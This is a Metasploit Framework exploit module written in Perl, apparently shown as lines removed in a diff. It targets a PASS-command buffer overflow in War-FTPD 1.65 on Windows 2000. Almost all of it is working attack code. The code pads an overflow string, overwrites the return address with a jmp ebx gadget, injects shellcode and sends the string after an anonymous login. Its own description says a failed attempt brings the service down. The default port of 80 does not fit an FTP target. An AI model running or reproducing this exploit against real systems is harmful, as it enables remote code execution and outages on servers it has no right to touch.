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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::warftpd_165_pass;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
- my $info =
- {
- 'Name' => 'War-FTPD 1.65 PASS Overflow',
- 'Version' => '$Revision: 1.26 $',
-
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 512,
- 'BadChars' => "\x00+&=%\x0a\x0d\x20",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits the buffer overflow found in the PASS command
- in War-FTPD 1.65. This particular module will only work
- reliably against Windows 2000 targets. The server must be
- configured to allow anonymous logins for this exploit to
- succeed. A failed attempt will bring down the service
- completely.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '875'],
- ['URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html'],
- ['MIL', '74'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' => [ ["Windows 2000"] ],
-
- 'Keys' => ['warftpd'],
-
- 'DisclosureDate' => 'Mar 19 1998',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $request = ("META" x 1024);
-
- # this return address is a jmp ebx in the included MFC42.DLL
- substr($request, 562, 4, pack("V", 0x5f4e772b));
-
- substr($request, 558, 4, "\xeb\x08\xeb\x08");
- substr($request, 566, length($shellcode), $shellcode);
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- my $r = $s->Recv(-1, 20);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
-
- $self->PrintLine("[*] REMOTE> $r");
- $r = $s->Recv(-1, 10);
-
- $s->Send("USER ANONYMOUS\n");
- $r = $s->Recv(-1, 20);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
- $self->PrintLine("[*] REMOTE> $r");
-
- $s->Send("PASS $request\n");
- $r = $s->Recv(-1, 20);
- if (! $r) { $self->PrintLine("[*] No response from FTP server"); return; }
- $self->PrintLine("[*] REMOTE> $r");
-
- return;
- }
-
-